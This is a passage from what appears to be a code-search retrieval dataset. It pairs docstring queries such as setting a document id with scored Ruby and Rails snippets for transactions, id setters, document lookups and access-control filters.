Bitcoin::Protocol::Tx.from_json(json)\nrescue\n nil\nend", "title": "" }, { "docid": "96b6d1f5ce5f9b101801698e02b3c168", "score": "0.6473745", "text": "def getTransactions(transaction)\n\n\t\tif(transaction.generalData==nil)\n\t \t\traise EmptyFieldException.new\n\t\tend\n\n\t\tif (transaction.operationData==nil)\n\t\t raise EmptyFieldException.new\n\t\tend\n\n\t\t# Make request \n\t\tdataRequest = Hash.new\n\t\tdataRequest[\"generalData\"] = transaction.generalData\n\t\tdataRequest[\"operationData\"] = transaction.operationData\n\t\tdataRequest[\"technicalData\"] = transaction.technicalData\n\n\t\t# Validate Request \n\t\tvalid = self.validate(dataRequest , transaction.attr_required )\n \n\t\tif (valid)\n\t\t\t@logger.info('ENDPOINT:') { TRANSACTION_ENDPOINT }\n\t\t\t@logger.info('REQUEST:') { dataRequest }\n\t\t\t# Call method\n\t\t\tbegin\n\t\t\t\tresponseJson = RestClient.post TRANSACTION_ENDPOINT, dataRequest.to_json, :content_type => :json, :accept => :json\n\t\t\t\t@logger.info('RESPONSE:') { responseJson }\n\t\t\t\ttransaction.response = JSON.parse(responseJson)\n\t\t\trescue => e \n\t\t\t\t@logger.info('RESPONSE error') { e.response }\n\t\t\t\tresponseJson = e.response\t\n\t\t\tend\n\t\t\t\t\n\t\telse \n\t\t\t# If not valid, notify errors\n\t\t\traise EmptyFieldException.new(@attr_error.to_json)\n\t\tend\t\n\n\t\treturn transaction\n\tend", "title": "" }, { "docid": "7dcb733fd260d52bc70e2ceb717c421f", "score": "0.6471089", "text": "def transaction_id\n params['txn_id']\n end", "title": "" }, { "docid": "d479b851b3b8574872e74d8839a7cded", "score": "0.64628476", "text": "def get_transaction_op_return(hash)\n @conn.get(\"/#{API_VERSION}/#{block_chain}/transactions/#{hash}/op-return\")\n end", "title": "" }, { "docid": "7702b2a77df41a3bf481bb805858a14a", "score": "0.64546156", "text": "def test_get_transaction\n assert response = @gateway.get_transaction(9376727)\n assert_equal 'true', response.params['result']\n assert_success response\n assert_equal '10100', response.params['authamount']\n assert_equal '208', response.params['currency']\n assert_equal '2', response.params['cardtypeid']\n assert_equal '0', response.params['capturedamount']\n assert_equal '0', response.params['creditedamount']\n assert_equal '2578', response.params['orderid']\n assert_equal '2012-03-21T13:58:00', response.params['authdate']\n assert_equal '0001-01-01T00:00:00', response.params['captureddate']\n assert_equal '0001-01-01T00:00:00', response.params['deleteddate']\n assert_equal '0001-01-01T00:00:00', response.params['crediteddate']\n assert_equal 'PAYMENT_NEW', response.params['status']\n assert_equal '444444XXXXXX4000', response.params['tcardno']\n assert_equal '1', response.params['expmonth']\n assert_equal '13', response.params['expyear']\n end", "title": "" }, { "docid": "aac2af04e2f382f93d9f4ba995be4aa6", "score": "0.6453471", "text": "def current_transaction\n transactions.last\n end", "title": "" }, { "docid": "a3d66b27e4a2c5aa94bf894b0b669863", "score": "0.6449108", "text": "def transactions()\n sql = \"SELECT * FROM transactions WHERE merchant_id = #{@id}\"\n results = Transaction.map_items(sql)\n return results\n end", "title": "" }, { "docid": "a751ed77d86b0b4344e77d9ce59515c6", "score": "0.6445733", "text": "def getTransactionByAuthCode(auth_code)\n self.getTransaction(TransactionType::TransactionAuthCode,\n auth_code)\n end", "title": "" }, { "docid": "42b8a9b0ed5bfd39609714ea5b8b2e7e", "score": "0.6443569", "text": "def transaction_id; end", "title": "" }, { "docid": "42b8a9b0ed5bfd39609714ea5b8b2e7e", "score": "0.6443569", "text": "def transaction_id; end", "title": "" }, { "docid": "42b8a9b0ed5bfd39609714ea5b8b2e7e", "score": "0.6443569", "text": "def transaction_id; end", "title": "" } ]
91721927b3eaab2cfbfe11f50e4999e7
Set the document id. ==== Parameters id:: ID of the document.
[ { "docid": "67b3fa3807cd65a981ef4019183a05a9", "score": "0.6991031", "text": "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "title": "" } ]
[ { "docid": "478f5a3300482835e63f4da25f1cd733", "score": "0.7742953", "text": "def id=(id)\n raise ArgumentError.new(\"Invalid ID: Document id must be a String or respond to #to_s\") if (id.nil? || !id.respond_to?(:to_s))\n @id = id.to_s\n raise ArgumentError.new(\"Invalid ID: Document id must match the regex [a-z0-9][a-z0-9_]*$\") unless @id =~ /^[a-z0-9][a-z0-9_]*$/\n end", "title": "" }, { "docid": "9ad447eaa79539db1a49cbee36ef97f6", "score": "0.76096797", "text": "def _id=(id)\n @_id = id.to_s # in case of BSON::ObjectId\n end", "title": "" }, { "docid": "5f48009b8b3b9c4167fcaa65a767d0ef", "score": "0.7572752", "text": "def set_id(id)\n unless id.nil?\n @id = id\n end\n @id\n end", "title": "" }, { "docid": "5585831049f2251fdd4dad6f36bb3015", "score": "0.7085953", "text": "def id=(value)\n @id = value\n end", "title": "" }, { "docid": "5585831049f2251fdd4dad6f36bb3015", "score": "0.7085953", "text": "def id=(value)\n @id = value\n end", "title": "" }, { "docid": "5585831049f2251fdd4dad6f36bb3015", "score": "0.7085953", "text": "def id=(value)\n @id = value\n end", "title": "" }, { "docid": "5585831049f2251fdd4dad6f36bb3015", "score": "0.7085953", "text": "def id=(value)\n @id = value\n end", "title": "" }, { "docid": "5585831049f2251fdd4dad6f36bb3015", "score": "0.7085953", "text": "def id=(value)\n @id = value\n end", "title": "" }, { "docid": "5585831049f2251fdd4dad6f36bb3015", "score": "0.7085953", "text": "def id=(value)\n @id = value\n end", "title": "" }, { "docid": "5585831049f2251fdd4dad6f36bb3015", "score": "0.7085953", "text": "def id=(value)\n @id = value\n end", "title": "" }, { "docid": "b241ebd1370d907e39d19019dff7e830", "score": "0.7066432", "text": "def id=(id)\n if id.nil?\n fail ArgumentError, 'invalid value for \"id\", id cannot be nil.'\n end\n @id = id\n end", "title": "" }, { "docid": "b241ebd1370d907e39d19019dff7e830", "score": "0.7066432", "text": "def id=(id)\n if id.nil?\n fail ArgumentError, 'invalid value for \"id\", id cannot be nil.'\n end\n @id = id\n end", "title": "" }, { "docid": "4742dfd9c69546015b6fdb3229576b3a", "score": "0.70492744", "text": "def set_id\n @id = Id.find(params[:id])\n end", "title": "" }, { "docid": "d4714898bd90705ce7dd5e6f686e9392", "score": "0.70201415", "text": "def id(value)\n @document_id = value.to_s\n end", "title": "" }, { "docid": "d0e41fbb45bb5e92f838022104c51676", "score": "0.69638497", "text": "def id=(id)\n if !id.nil? && id.to_s.length < 1\n fail ArgumentError, 'invalid value for \"id\", the character length must be great than or equal to 1.'\n end\n\n @id = id\n end", "title": "" }, { "docid": "4ecb0896044668c4ecd2c278e692c4b5", "score": "0.69540846", "text": "def id=(id)\n if id.nil?\n fail ArgumentError, \"id cannot be nil\"\n end\n\n if id.to_s.length < 1\n fail ArgumentError, \"invalid value for 'id', the character length must be great than or equal to 1.\"\n end\n\n @id = id\n end", "title": "" }, { "docid": "f0acc576b218e429d288a51e3beefd42", "score": "0.6952617", "text": "def id=(new_id)\n @id = new_id\n end", "title": "" }, { "docid": "aa991c06097a234e290660cc0a15fcea", "score": "0.6936598", "text": "def id=(id)\n write_attr :id, id\n end", "title": "" }, { "docid": "20eb75dea8b64ef677c28820e90e7523", "score": "0.69346106", "text": "def id=(v)\r\n @id = v\r\n end", "title": "" }, { "docid": "b95aa416c08148f7b3fde4de8ed5f6bc", "score": "0.69103044", "text": "def set_id(num)\n @id = num\n end", "title": "" }, { "docid": "3400bf6a074e37fd11b86653e6ae3f6e", "score": "0.68194014", "text": "def id=(id)\n if !id.nil? && id < 0\n fail ArgumentError, 'invalid value for \"id\", must be greater than or equal to 0.'\n end\n\n @id = id\n end", "title": "" }, { "docid": "45a718a2c1db23996af5b0575d0a30bd", "score": "0.6765717", "text": "def id=(id)\n raise IdError, \"#{id} less than 0\" if id < 0\n @id = id \n end", "title": "" }, { "docid": "a672a476c54d62fdc5607c34be8f447b", "score": "0.67404693", "text": "def set_DocumentId(value)\n set_input(\"DocumentId\", value)\n end", "title": "" }, { "docid": "eabe478ab397b0213a0bcbcef7567c42", "score": "0.67298096", "text": "def id=(newid)\n @id = Integer(newid)\n end", "title": "" }, { "docid": "eabe478ab397b0213a0bcbcef7567c42", "score": "0.67298096", "text": "def id=(newid)\n @id = Integer(newid)\n end", "title": "" }, { "docid": "eabe478ab397b0213a0bcbcef7567c42", "score": "0.67298096", "text": "def id=(newid)\n @id = Integer(newid)\n end", "title": "" }, { "docid": "2e2f7e781d4f4ead6ad03b081964e2d5", "score": "0.6631946", "text": "def _id=(value)\n @id = value.to_s\n end", "title": "" }, { "docid": "c6544ac76649f0dfc555cb0c60e40c19", "score": "0.6564823", "text": "def id\n doc['_id']\n end", "title": "" }, { "docid": "44512dc3fa29eb53b17fdec283c08d3b", "score": "0.6561589", "text": "def id=(id)\n raise ArgumentError, \"Invalid Europeana record ID.\" unless id.is_a?(String) && id.match(/\\A\\/[^\\/]+\\/[^\\/]+\\B/)\n @id = id\n end", "title": "" }, { "docid": "6430226684a76a05bfcbb1cb3788e43e", "score": "0.65080553", "text": "def id=(id)\n @attributes['id'] = id.to_s\n end", "title": "" }, { "docid": "dd3059b47b846d9d0a5cf246bc5c66eb", "score": "0.6504553", "text": "def set_document\n @document = Document.find_by_id(params[:id])\n end", "title": "" }, { "docid": "101bbde93709bfd3a6e53ca7d3e87409", "score": "0.64990383", "text": "def id=(id)\n Element.attr self, 'id', id\n end", "title": "" }, { "docid": "369ac131c79bb27ba38b6b2d0925f5e6", "score": "0.6494316", "text": "def set_doc\n @doc = Doc.find(params[:id])\n end", "title": "" }, { "docid": "e5de42c544d97fa17384a4e0031bc823", "score": "0.6485701", "text": "def id=( id )\n\t\tif id.is_a? Fixnum\n\t\t\t@id = id.to_s\n\t\telse\n\t\t\t@id = id\n\t\tend\n\tend", "title": "" }, { "docid": "190753f865f5a09e84a4ff416e82fdf3", "score": "0.646538", "text": "def id=(value)\n write_attribute(self.class.primary_key, value)\n end", "title": "" }, { "docid": "229b692d927ec97998a4c84074e9cd61", "score": "0.64387023", "text": "def id=(id)\n super(id)\n end", "title": "" }, { "docid": "8b88acaeca4b1c72f9b67c96d40984d5", "score": "0.64305806", "text": "def set_appointment_document(id)\n @appointment_document = AppointmentDocument.find(id)\n end", "title": "" }, { "docid": "ab6bf83f7d2db8c89c686a480fc20e0b", "score": "0.64212495", "text": "def id=(id)\n if id.nil?\n fail ArgumentError, 'id cannot be nil'\n end\n\n pattern = Regexp.new(/^upl_[a-zA-Z0-9]+$/)\n if id !~ pattern\n fail ArgumentError, \"invalid value for \\\"id\\\", must conform to the pattern #{pattern}.\"\n end\n\n @id = id\n end", "title": "" }, { "docid": "032ff1fdff1dc315bc646dddc066bee8", "score": "0.6382688", "text": "def id=(id)\n attributes[self.class.primary_key] = id\n end", "title": "" }, { "docid": "dbf9f15db634fe585c4510d669224776", "score": "0.636462", "text": "def set_DocumentID(value)\n set_input(\"DocumentID\", value)\n end", "title": "" }, { "docid": "dbf9f15db634fe585c4510d669224776", "score": "0.636462", "text": "def set_DocumentID(value)\n set_input(\"DocumentID\", value)\n end", "title": "" }, { "docid": "dbf9f15db634fe585c4510d669224776", "score": "0.636462", "text": "def set_DocumentID(value)\n set_input(\"DocumentID\", value)\n end", "title": "" }, { "docid": "34141907e04624b327659b25c72f8532", "score": "0.6344936", "text": "def id=(id)\n @attributes.occi!.core!.id = id\n @id = id\n end", "title": "" }, { "docid": "5cfa0608caf08bf9b68c6ed2bb73cb13", "score": "0.6343799", "text": "def id=(value)\n write_attribute(self.class.primary_key, value) if self.class.primary_key\n end", "title": "" }, { "docid": "df8bb5e4f455271c1d3009025f2f00b5", "score": "0.63426423", "text": "def _id; @doc['_id']; end", "title": "" }, { "docid": "df8bb5e4f455271c1d3009025f2f00b5", "score": "0.63426423", "text": "def _id; @doc['_id']; end", "title": "" }, { "docid": "8481a1163a1c9ce8f3dabcd30ce32218", "score": "0.6337962", "text": "def by_id!(id)\n by_id(id) || (raise Mongoid::Errors::DocumentNotFound.new(self, id))\n end", "title": "" }, { "docid": "ea6d60fd58bc4c77b2e4970ceb95982b", "score": "0.63067", "text": "def id=(value)\n write_attribute(self.class.primary_key, value)\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "c756633b5216437aaa173815b2fa19c7", "score": "0.6296264", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "d8c95db2c6299a23525872914172cf3b", "score": "0.6293287", "text": "def id=(id)\n end", "title": "" }, { "docid": "a43f2a13e4d919c76a30e765291f43d8", "score": "0.6292356", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "a43f2a13e4d919c76a30e765291f43d8", "score": "0.6292356", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "718da705ff1e30ac689946d9d27c97fa", "score": "0.62898237", "text": "def id\n @document.fetch('id')\n end", "title": "" }, { "docid": "9050ef9d6a4f149ec3ac51ae59dcb355", "score": "0.6278598", "text": "def set_id(parameter)\n @id = parameter\n end", "title": "" }, { "docid": "9165557d74437909d7088a213d8f44ef", "score": "0.62759143", "text": "def set_document\n @document = Document.find(params[:id])\n end", "title": "" }, { "docid": "177edac344337bc5b61f5f72ebf789f9", "score": "0.62567407", "text": "def id=(id)\n if id.nil?\n fail ArgumentError, 'id cannot be nil'\n end\n\n pattern = Regexp.new(/^psc_[a-zA-Z0-9]+$/)\n if id !~ pattern\n fail ArgumentError, \"invalid value for \\\"id\\\", must conform to the pattern #{pattern}.\"\n end\n\n @id = id\n end", "title": "" }, { "docid": "e2d503f6c81eec204d8f7e285619f1f0", "score": "0.62520623", "text": "def id=(id)\n if id.nil?\n fail ArgumentError, 'id cannot be nil'\n end\n\n pattern = Regexp.new(/^ltr_[a-zA-Z0-9]+$/)\n if id !~ pattern\n fail ArgumentError, \"invalid value for \\\"id\\\", must conform to the pattern #{pattern}.\"\n end\n\n @id = id\n end", "title": "" }, { "docid": "66d2ae3bc2fc8f7e6f24513fcb9f2471", "score": "0.62141293", "text": "def set_document\r\n @document = Document.find(params[:id])\r\n end", "title": "" }, { "docid": "3ad22d31e2c2ebe24e4d5b5e345b38ec", "score": "0.6190622", "text": "def ensure_id\n self[:_id] = ( id ? escape_doc_id : database.server.next_uuid )\n end", "title": "" }, { "docid": "e0c870320d85ae5d5cd3a022d7d8eee0", "score": "0.6119911", "text": "def ensure_id\n self[:_id] = ( id ? escape_doc_id : database.server.next_uuid )\n end", "title": "" }, { "docid": "bc98f792f0a56e5c9ae9ca9e1e84ce2e", "score": "0.61153525", "text": "def set_document\r\n @document = Document.find(params[:id])\r\n end", "title": "" }, { "docid": "e684be472e9209314066425a087dc775", "score": "0.6092377", "text": "def set_docfile\n @docfile = Docfile.find(params[:id])\n end", "title": "" }, { "docid": "67bab8d38398e4cab574abb7dd4ed8d1", "score": "0.6088888", "text": "def id(new_id)\n @config[:id] = new_id\n end", "title": "" }, { "docid": "22d33c3ca54de4f1494f3dfaa032b4ca", "score": "0.6019174", "text": "def set_document\n @document = Document.where(id: params[:id], user_id: current_user.id).first\n end", "title": "" } ]
7274955dc152821c5072e583adba5c59
before_filter :require_editor_role, :only => [:show_progress]
[ { "docid": "450d1ab680d7ced1275e1a30406fcb0c", "score": "0.0", "text": "def api_index_published\n projects_json = {}\n @projects = Project.where(:is_public=>true).order(\"updated_at DESC\").limit(3)\n @projects.each_with_index do |p, idx|\n projects_json[idx] = {}\n projects_json[idx][:created_at] = p.created_at\n projects_json[idx][:updated_at] = p.updated_at\n projects_json[idx][:publication_requested_at] = p.publication_requested_at\n projects_json[idx][:title] = p.title\n projects_json[idx][:description] = p.description\n projects_json[idx][:number_of_studies] = p.studies.count\n projects_json[idx][:number_of_key_questions] = p.key_questions.count\n projects_json[idx][:number_of_extraction_forms] = p.extraction_forms.count\n projects_json[idx][:url] = \"https://srdr.ahrq.gov/projects/#{ p.id.to_s }\"\n end\n render :json => projects_json\n end", "title": "" } ]
[ { "docid": "a92ba0f88a8a0be231172f3403f45c6d", "score": "0.66923535", "text": "def require_in_progress_editor\n return if valid_edit_code? ||\n resource&.dataset_in_progress_editor&.id == current_user.id ||\n current_user.curator?\n\n display_authorization_failure\n end", "title": "" }, { "docid": "0dfb40390cdb12408582b407ccaa29ed", "score": "0.64511985", "text": "def require_editor_status\n\t\tunless current_user.editor?\n\t\t flash[:error] = \"Necesitas permiso de editor. Info en este <a href='#{join_us_path}'>enlace</a>.\".html_safe #Escríbenos a info.politicos epolitic.org y te contestaremos en unas pocas horas.\"\n\t\t redirect_to root_path\n\t\tend\n\tend", "title": "" }, { "docid": "0f9897ee0de631b1f348b71485f5fdf8", "score": "0.6206548", "text": "def before_render; end", "title": "" }, { "docid": "b88c02bff8941043fdd5b18fab009cda", "score": "0.6134477", "text": "def require_editor\n not_found unless current_user.editor? || current_user.admin?\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.6001662", "text": "def before_action \n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.6001662", "text": "def before_action \n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.6001662", "text": "def before_action \n end", "title": "" }, { "docid": "d12648a90eb6c505662acc5235d4814a", "score": "0.59305334", "text": "def require_editor\n unless current_user && (current_user.editor? || current_user.admin?)\n store_location\n flash[:notice] = \"You do not have permissions to access that page\"\n redirect_to root_path\n return false\n end\n end", "title": "" }, { "docid": "9f3f74ade47542a9fcea02294c221060", "score": "0.5919061", "text": "def ckeditor_authenticate\n authorize! action_name, @asset\n end", "title": "" }, { "docid": "77c924d21656ecf6ef115fb1b2fbf25d", "score": "0.58990157", "text": "def progress_report?\n user.authorized_to_edit?(event)\n end", "title": "" }, { "docid": "77c924d21656ecf6ef115fb1b2fbf25d", "score": "0.58990157", "text": "def progress_report?\n user.authorized_to_edit?(event)\n end", "title": "" }, { "docid": "01d7a558bf15737e269f73895549602d", "score": "0.5846536", "text": "def authenticate_edit_permission\n\t\t@snippet = Snippet.find(params[:id])\n\n \t#Redirecting to root_path?? Or raise 404??\n \tredirect_to root_path unless (current_user == @snippet.user || current_user.is_admin)\n #render :js => \"window.location = '#{root_path}'\" unless current_user == @snippet.user\n end", "title": "" }, { "docid": "45bd3a377ab32b5e0b17cdf9d5c14655", "score": "0.58305097", "text": "def authenticate_editor!\n access_denied! unless current_user.editor? || current_user.admin?\n end", "title": "" }, { "docid": "f0c8ac564bd793c6ba6219a20414b367", "score": "0.58299625", "text": "def show\n # see before action filter\n end", "title": "" }, { "docid": "6fc66e33c4fa3df2443a99dc75fd5909", "score": "0.5790845", "text": "def before_action(controller, context)\n end", "title": "" }, { "docid": "27f346dff38f36936944d4f75f38bd82", "score": "0.5728934", "text": "def determine_run_modification_by_user_role\n\t\tself.user.is_viewer? ? true : disable_run_form?\n\tend", "title": "" }, { "docid": "6e15fe2fd08825b0d847d04df2b9442a", "score": "0.57228035", "text": "def before_edit\n\t\t\tend", "title": "" }, { "docid": "ffd8d66e6c438ca172ecd87d890c19f7", "score": "0.5697324", "text": "def authorize_editor\n # rubocop:disable Layout/LineLength\n redirect_to @recognition, notice: 'You are only allowed to modify your own recognitions' unless can_administrate?(@recognition)\n # rubocop:enable Layout/LineLength\n end", "title": "" }, { "docid": "5c56d2a86051819b9431147c2ed12cde", "score": "0.56382716", "text": "def edit\n # before_action\n end", "title": "" }, { "docid": "e563142ea6364f05d54158f81f79eaf5", "score": "0.5635698", "text": "def authorize_for_editor_controller(entry)\n user = FactoryBot.create(:user)\n FactoryBot.create(:membership, user: user, entity: entry, role: :editor)\n\n sign_in(user, scope: :user)\n acquire_edit_lock(user, entry)\n end", "title": "" }, { "docid": "8d47f14607d4bd5ab63523b233352e80", "score": "0.56349677", "text": "def edit_side_bar_only\n edit\n end", "title": "" }, { "docid": "b83dd7b8d9e019d847238c388d98e46e", "score": "0.56276447", "text": "def show\n authorize @completed_course\n end", "title": "" }, { "docid": "0906fc4bbdd421b32eeffc634a786c4b", "score": "0.56247187", "text": "def require_admin #this is our authorization\n render file: '/public/404' unless current_admin?\n end", "title": "" }, { "docid": "da76514bd179ecf762a891f27980d36e", "score": "0.56127095", "text": "def filter_view_modify\n @view_modify = current_user && current_user.admin?\n end", "title": "" }, { "docid": "61083090b3dd72d5438413242dd4682d", "score": "0.55910856", "text": "def authorize_admin!\n \tif current_user\n \t\ttrue\n \telse\n \t\tflash[:error] = \"You are not authorized to view this content!\"\n \t\tredirect_to root_path\n \tend\n end", "title": "" }, { "docid": "58a1cf37724f412e49e244633a0b0864", "score": "0.5569128", "text": "def before_render_screen\n end", "title": "" }, { "docid": "53ca750705d2caee4c2c9cac2ce1011c", "score": "0.5567306", "text": "def check_editor\n unless @config.editors.include?(@sender)\n respond \"I'm sorry @#{@sender}, I'm afraid I can't do that. That's something only editors are allowed to do.\"\n halt 403\n end\nend", "title": "" }, { "docid": "342734553a4c6343a928c6523ac85038", "score": "0.55670094", "text": "def has_edit_right?\n Rails.logger.info \"--> filter has_edit_right?\"\n if @project.writer?(current_user)\n true\n else\n render 'public/403', layout: nil\n end\n end", "title": "" }, { "docid": "dc1965751acb883ac71bb1d0b03d0ea0", "score": "0.5556076", "text": "def edit \n #before_action get_current_userで取得\n end", "title": "" }, { "docid": "576f758a470f5ebcc4e590ad782ad034", "score": "0.55532783", "text": "def block_access_for_non_admins\n# if current_user.role != \"admin\"\n# changed to super admins only\n if (current_user.role != \"admin\" )\n flash[:error] = \"You have no access rights for this section.\"\n redirect_to :controller => \"streams\", :action => \"index\"\n end\n end", "title": "" }, { "docid": "7bd2327aaf91b0b118feca3c46e3f36a", "score": "0.5545498", "text": "def photo_approval_admin\n\t\tauthorize @event\n\t\t@role_dependency = RoleDependency.find_by_id(params[:role_dependency_id]) || RoleDependency.new\n\t\t@role_dependencies = RoleDependency.where(role_dependable_type: 'Event', role_dependable_id: @event.id).where.not(id: params[:role_dependency_id]).page(params[:page]).per(params[:per_page])\n\t\t@role = 'photo_approval_user'\n\tend", "title": "" }, { "docid": "73fcbc64199327b7eaae01e519ebdbe9", "score": "0.55434585", "text": "def render_admin_only\n render_unauthorized(msg=\"You must be Admin to perform this operation\")\n end", "title": "" }, { "docid": "6e867b80a563fe7c94e95029f86c3038", "score": "0.55348635", "text": "def show\n skip_authorization\n end", "title": "" }, { "docid": "6e867b80a563fe7c94e95029f86c3038", "score": "0.55348635", "text": "def show\n skip_authorization\n end", "title": "" }, { "docid": "6e867b80a563fe7c94e95029f86c3038", "score": "0.55348635", "text": "def show\n skip_authorization\n end", "title": "" }, { "docid": "6e867b80a563fe7c94e95029f86c3038", "score": "0.55348635", "text": "def show\n skip_authorization\n end", "title": "" }, { "docid": "a8dcf5aa839fe3482858773502937b6e", "score": "0.55253124", "text": "def show\n admin_only do\n\n end\n end", "title": "" }, { "docid": "18e0d07f69fdb3a0fad20c57e44fa002", "score": "0.5515436", "text": "def show\n authorize! :read, @admin_interactive_video\n end", "title": "" }, { "docid": "cc8e1342543a1545629d0d156ed76f1f", "score": "0.55111986", "text": "def before_show(*args); end", "title": "" }, { "docid": "ebfe374fc7147d013492730bfb58e775", "score": "0.5501402", "text": "def show\n authorize! :read, WorkLog\n end", "title": "" }, { "docid": "30a51f5208f32d362fdc0d9fa3212231", "score": "0.5491721", "text": "def only_admin\n @role = current_user_role\n unless @role == \"admin\"\n # redirect_to(root_url) \n respond_to do |format|\n format.html { redirect_to root_url, notice: 'You are not authorised to do that' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "236d0de39c381460913dddf9b5bcf5c2", "score": "0.5489179", "text": "def show\n authorize @job\n end", "title": "" }, { "docid": "89eff2ffd50bf215cce2e9b4a58c3561", "score": "0.5462703", "text": "def confirm_admin_role\n unless session[:role] == 2\n flash[:notice] = \"You are not permitted to access the requested page.\"\n redirect_to(:controller => 'public', :action => 'index')\n return false # halts the before filter\n else\n return true\n end\n end", "title": "" }, { "docid": "cdc50bdbfcea22ca0f6a380f14307005", "score": "0.546249", "text": "def check_editor\n unless @config.editors.include?(@sender)\n respond \"I'm sorry @#{@sender}, I'm afraid I can't do that. That's something only editors are allowed to do.\"\n halt 403\n end\n end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5456595", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "9db20bcc50fb63af9a387a2761b54de4", "score": "0.5454983", "text": "def require_creator_allowed\n return render_404 unless @project.user == current_user || is_admin?\n\n unless @project.status_div_draft? || @project.status_div_remanded? || @project.status_div_active? || @project.status_div_temp?\n redirect_to projects_url, alert: t('msg.project_not_editable_because', status: @project.status_div.t)\n end\n end", "title": "" }, { "docid": "be74ba525684a64575a58900cf5d280c", "score": "0.5442663", "text": "def show\n authorize @adoc_status\n end", "title": "" }, { "docid": "a17a49c38e9e054c28565cea2a5b8888", "score": "0.5442142", "text": "def check_admin\n render \"error_pages/masquerade\", :layout => \"plain\", :status => 403 if current_user(true) && (!request.get? && controller_name != \"masquerade\")\n end", "title": "" }, { "docid": "f7af9c4b27d3381208c66cdc7a279b0a", "score": "0.5441531", "text": "def process_action(method_name, *args)\n ActionController::Base.before_filter :read_only_method\n super\n end", "title": "" }, { "docid": "9e9dd29ae31a964bd107932f8fcce144", "score": "0.54363203", "text": "def action_allowed\n true\n end", "title": "" }, { "docid": "7e50d532d4552fc990e7b8fc46a0c7f1", "score": "0.5433298", "text": "def show\n authorize! :read, AssignmentUpload\n redirect_to root_path\n end", "title": "" }, { "docid": "2eebd62c6abe403d6dbddffede8b122a", "score": "0.54328895", "text": "def edit\n authorize @job\n end", "title": "" }, { "docid": "563347e884b34cd3a581daa535791400", "score": "0.5425857", "text": "def show\n authorize_action_for @user\n disable_editing!\n track @user\n end", "title": "" }, { "docid": "d0732d7bdb1f450c32350add15d9c031", "score": "0.5412073", "text": "def region_filter\n if 